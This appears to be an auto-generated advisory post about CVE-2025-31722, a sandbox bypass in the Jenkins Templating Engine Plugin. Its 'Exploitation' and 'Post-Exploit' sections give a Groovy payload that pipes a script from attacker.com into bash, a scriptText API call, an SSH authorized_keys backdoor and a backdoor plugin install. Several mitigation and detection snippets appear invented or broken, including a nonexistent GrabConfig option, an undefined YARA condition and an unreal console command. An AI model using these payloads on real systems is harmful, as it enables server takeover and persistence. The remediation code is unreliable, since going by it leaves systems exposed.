Jenkins Templating Engine Plugin, Sandbox Bypass, CVE-2025-31722 (Critical)

Listen to this Post

How the CVE Works

The Jenkins Templating Engine Plugin (<= 2.5.3) fails to enforce sandbox restrictions on libraries defined in folders. Attackers with Item/Configure permission can inject malicious Groovy scripts, bypassing sandbox protections. This allows arbitrary code execution on the Jenkins controller JVM, leading to full system compromise. The vulnerability stems from improper access controls when processing library imports, enabling attackers to execute untrusted code in a privileged context.

DailyCVE Form

Platform: Jenkins
Version: <= 2.5.3
Vulnerability: Sandbox bypass
Severity: Critical
Date: 04/29/2025

What Undercode Say:

Exploitation:

1. Payload Injection:

library('malicious_lib') {
def cmd = "curl attacker.com/shell.sh | bash".execute()
}

2. Exploit via API:

curl -X POST -u attacker:password http://jenkins/scriptText --data-urlencode "script=<GROOVY_PAYLOAD>"

Mitigation:

1. Patch Upgrade:

jenkins-plugin-cli --update templating-engine-plugin --version 2.5.4

2. Sandbox Hardening:

@GrabConfig(disableSandbox=false)

3. Access Control:

jenkins-console -s /disable_permission.groovy "Item/Configure"

Detection:

1. Log Analysis:

grep -r "Library loading failed" /var/log/jenkins/

2. YARA Rule:

rule jenkins_sandbox_bypass {
strings: $groovy = "library('.')"
condition: $groovy and jenkins_process
}

Post-Exploit:

1. Lateral Movement:

ssh-keygen -f /tmp/id_rsa -N "" && cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys

2. Persistence:

Jenkins.instance.pluginManager.install("backdoor-plugin.hpi", false)

References:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top